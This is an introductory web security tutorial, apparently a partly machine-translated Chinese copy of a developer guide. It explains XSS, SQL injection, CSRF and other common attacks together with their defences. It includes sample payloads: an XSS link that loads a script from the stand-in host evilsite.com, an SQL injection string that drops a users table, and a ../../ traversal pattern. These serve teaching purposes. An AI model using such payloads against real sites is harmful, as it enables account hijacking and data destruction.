Website security

2018-05-15 17:26 更新
先决条件: 基本的计算机素养。
目的: 了解对Web应用程序安全最常见的威胁,以及您可以如何降低网站被黑客入侵的风险。

什么是网站安全?

互联网是一个危险的地方! 我们非常规律地听说由于拒绝服务攻击或在其主页上显示修改(和经常损坏)的信息,网站不可用。 在其他高调案例中,数百万个密码,电子邮件地址和信用卡详细信息已泄漏到公共领域,从而使网站用户面临个人尴尬和财务风险。

网站安全的目的是防止这些(或任何)类型的攻击。 更正式地,网站安全是保护网站免受未经授权的访问,使用,修改,破坏或中断的行为/实践。

有效的网站安全性需要整个网站的设计工作:在您的Web应用程序中,在Web服务器的配置中,在您的策略中创建和更新密码,以及在客户端代码。 虽然这一切听起来很不祥,但好消息是,如果你使用的是服务器端的网络框架,它几乎肯定已经启用了健壮和周密的防御机制来对抗一些更常见的攻击"默认 "。 可以通过Web服务器配置减轻其他攻击,例如启用HTTPS。 最后,有公共可用的漏洞扫描程序工具,可以帮助你找出是否你犯了任何明显的错误。

本文的其余部分提供了有关一些常见威胁的更多详细信息,以及您可以采取的一些简单步骤来保护您的网站。

注意:这是一个介绍性主题,旨在帮助您开始考虑网站安全性。 这不是详尽无遗。

网站安全威胁

本节列出了几个最常见的网站威胁以及如何缓解这些威胁。 在阅读时,请注意,当Web应用程序信任或对浏览器发送的数据不够偏执时,威胁是如何成功的!

跨站脚本(XSS)

XSS是用于描述允许攻击者通过网站将客户端脚本注入到其他用户的浏览器中的一类攻击的术语。 由于注入的代码从站点到浏览器是可信的,因此可以进行诸如将用户的站点授权cookie发送给攻击者的事情。 一旦攻击者有cookie,他们可以登录到一个网站,就像他们是用户,并做任何用户可以。 根据网站的不同,这可能包括访问其信用卡详细信息,查看联系方式,更改密码等。

注意:XSS漏洞历史上比任何其他类型更常见。

有两种主要方法让网站将注入的脚本返回到浏览器 - 这些被称为反映的 持久性 XSS漏洞。

  • A reflected XSS vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser — any scripts in the original user content will be run when the new page is loaded!
    For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link containing a malicious script as a parameter (e.g. http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js" rel="external nofollow" ></script>) and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed. As discussed above, this gives the attacker all the information they need to enter the site as the target user — potentially making purchases as the user or sharing their contact information.
  • A persistent XSS vulnerability is one where the malicious script is stored by the website and then later redisplayed unmodified for other users to unwittingly execute.
    For example, a discussion board that accepts comments containing unmodified HTML could store a malicious script from an attacker. When the comments are displayed the script is executed and can then send the attacker information required to access the user's account. This sort of attack is extremely popular and powerful, because the attacker doesn't have to have any direct engagement with the victims.

    While POST or GET data is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable (including cookie data rendered by the browser, or user files that are uploaded and displayed).

对XSS漏洞的最好防御是删除或禁用任何可能包含运行代码的指令的标记。 对于HTML,包括< script> < object> < embed> < link>

修改用户数据以使其不能用于运行脚本或以其他方式影响服务器代码的执行的过程称为输入清理。 默认情况下,许多Web框架会自动从HTML表单中清理用户输入。

SQL注入

SQL注入漏洞使恶意用户可以在数据库上执行任意SQL代码,从而允许无论用户权限如何访问,修改或删除数据。 成功的注入攻击可能欺骗身份,创建具有管理权限的新身份,访问服务器上的所有数据,或销毁/修改数据以使其不可用。

如果传递给基础SQL语句的用户输入可能更改语句的含义,则会出现此漏洞。 例如,考虑下面的代码,用于列出从HTML表单提供的具有特定名称( userName )的所有用户:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

如果用户输入真实姓名,这将按预期工作。 但是,恶意用户可以通过为 userName 指定"粗体"文本,将此SQL语句的行为完全更改为以下新语句。 修改语句创建一个有效的SQL语句,删除 users 表,并从 userinfo 表中选择所有数据(显示每个用户的信息)。 这是因为注入的文本的第一部分( a\'; )完成原始语句(\'是在SQL中分隔字符串文字的符号)。

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

避免此类攻击的方法是确保传递到SQL查询的任何用户数据不会更改查询的性质。 要实现此目的,一种方法是对用户输入中具有特殊含义的所有字符转义 SQL。

注意:SQL语句将字符视为字符串文字的开头和结尾。 通过在前面加上反斜杠,我们"转义"符号(\\\'),并告诉SQL改为将其视为一个字符(只是字符串的一部分)。

在下面的语句中,我们转义了\'字符。 SQL现在会将该名称解释为以粗体显示的整个字符串(确实是一个非常奇怪的名称,但不是有害的!)

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

Web框架通常会为您处理这种转义。 例如,Django确保传递到查询集(模型查询)的任何用户数据都被转义。

注意:本部分主要参考维基百科中的信息。

跨站点请求伪造(CSRF)

CSRF攻击允许恶意用户在没有该用户的知识或同意的情况下使用另一用户的凭证来执行动作。

这种类型的攻击最好由例子解释。 John是一位恶意用户,他知道某个网站允许已登录的用户使用包含帐户名称和金额的HTTP POST 请求将款项汇入指定的帐户。 John构建了一个表单,其中包含其银行详细信息和一笔金额作为隐藏字段,并通过电子邮件将其发送给其他网站用户(将提交按钮伪装为"快速致富"网站的链接)

如果用户点击提交按钮,系统会向服务器发送HTTP POST 请求,其中包含交易详情和浏览器与网站相关联的任何客户端Cookie ( 将相关网站Cookie添加到请求是浏览器的正常行为)。 服务器将检查cookie,并使用它们来确定用户是否登录并且有权进行事务。

结果是,当用户在登录到交易站点时点击提交按钮的将进行交易。 约翰变得富有!

注意:这里的诀窍是,John不需要访问用户的Cookie(或访问凭据) - 用户的浏览器存储此信息,并自动将其包含在对相关服务器的所有请求中

防止这种类型的攻击的一种方式是服务器要求 POST 请求包括用户特定的网站生成的秘密(该秘密将由服务器在发送用于制作的网络表单时提供 转移)。 这种方法阻止John创建自己的表单,因为他必须知道服务器为用户提供的秘密。 即使他发现了秘密并为特定用户创建了一个表单,他也不能再使用该表单来攻击每个用户。

Web框架通常包括这样的CSRF预防机制。

其他威胁

其他常见的攻击/漏洞包括:

  • Clickjacking. In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible <iframe> controlled by the attacker. It could alternatively be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defence your site can prevent itself from being embedded in an iframe in another site by setting appropriate HTTP headers.
  • Denial of Service (DoS). DoS is usually achieved by flooding a target site with spurious requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g. slow reads, uploading of large files, etc.) DoS defences usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defences are typically within or before the web server (they are not part of the web application itself).
  • Directory Traversal/File and disclosure. In this type of attack a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (e.g. ../../). The solution is to sanitize input before using it.
  • File Inclusion. In this attack a user is able to specify an "unintended" file for display or execution in data passed to the server. Once loaded this file might be executed on the web server or in the client-side (leading to an XSS attack). The solution is to sanitize input before using it.
  • Command Injection. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.

还有更多。 有关完整的列表,请参阅类别:Web安全漏洞(维基百科)和 external"href ="https://www.owasp.org/index.php/Category:Attack">类别:攻击(打开Web应用程序安全项目)。

一些关键消息

当Web应用程序从浏览器信任数据时,前面几节中的几乎所有漏洞都会成功。 无论您为提高网站安全性做了什么,您都应该清理所有用户发起的数据,然后在浏览器中显示,在SQL查询中使用,或传递到操作系统或文件系统调用。

重要提示:您可以了解有关网站安全性的最重要的一个教训是不要信任来自浏览器的数据 这包括网址参数, POST 数据,HTTP标头和Cookie,用户上传的文件等中的 GET 请求数据。始终检查和清理所有传入的数据。 总是假设最坏的。

您可以采取的其他一些具体步骤有:

  • Use more effective password management. Encourage strong passwords that are changed regularly. Consider two-factor authentication for your site, so that in addition to a password the user must enter another authentication code (usually one that is delivered via some physical hardware that only the user will have, such as a code in an SMS sent to their phone).
  • Configure your web server to use HTTPS and HTTP Strict Transport Security (HSTS). HTTPS encrypts data sent between your client and server. This ensures that login credentials, cookies, POST data and header information are all much less available to attackers.
  • Keep track of the most popular threats (the current OWASP list is here) and address the most common vulnerabilities first.
  • Use vulnerability scanning tools to peform automated security testing on your site (later on, your very successful website may also find bugs by offering a bug bounty like Mozilla does here).
  • Only store and display data that you need to. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern these days is to only display the last 4 digits of a credit card number.

Web框架可以帮助减轻许多更常见的漏洞。

概要

本文已解释了网络安全的概念,以及您的网站应该尝试保护的一些更常见的威胁。 最重要的是,您应该明白,Web应用程序不能信任来自Web浏览器的任何数据! 所有用户数据应在显示之前进行清理,或在SQL查询或文件系统调用中使用。

这是此模块的结束,涵盖您在服务器端网站编程中的第一步。 我们希望您喜欢学习基本概念,现在您可以选择一个Web框架并开始编程。

以上内容是否对您有帮助:
在线笔记
App下载
App下载

扫描二维码

下载编程狮App

公众号
微信公众号

编程狮公众号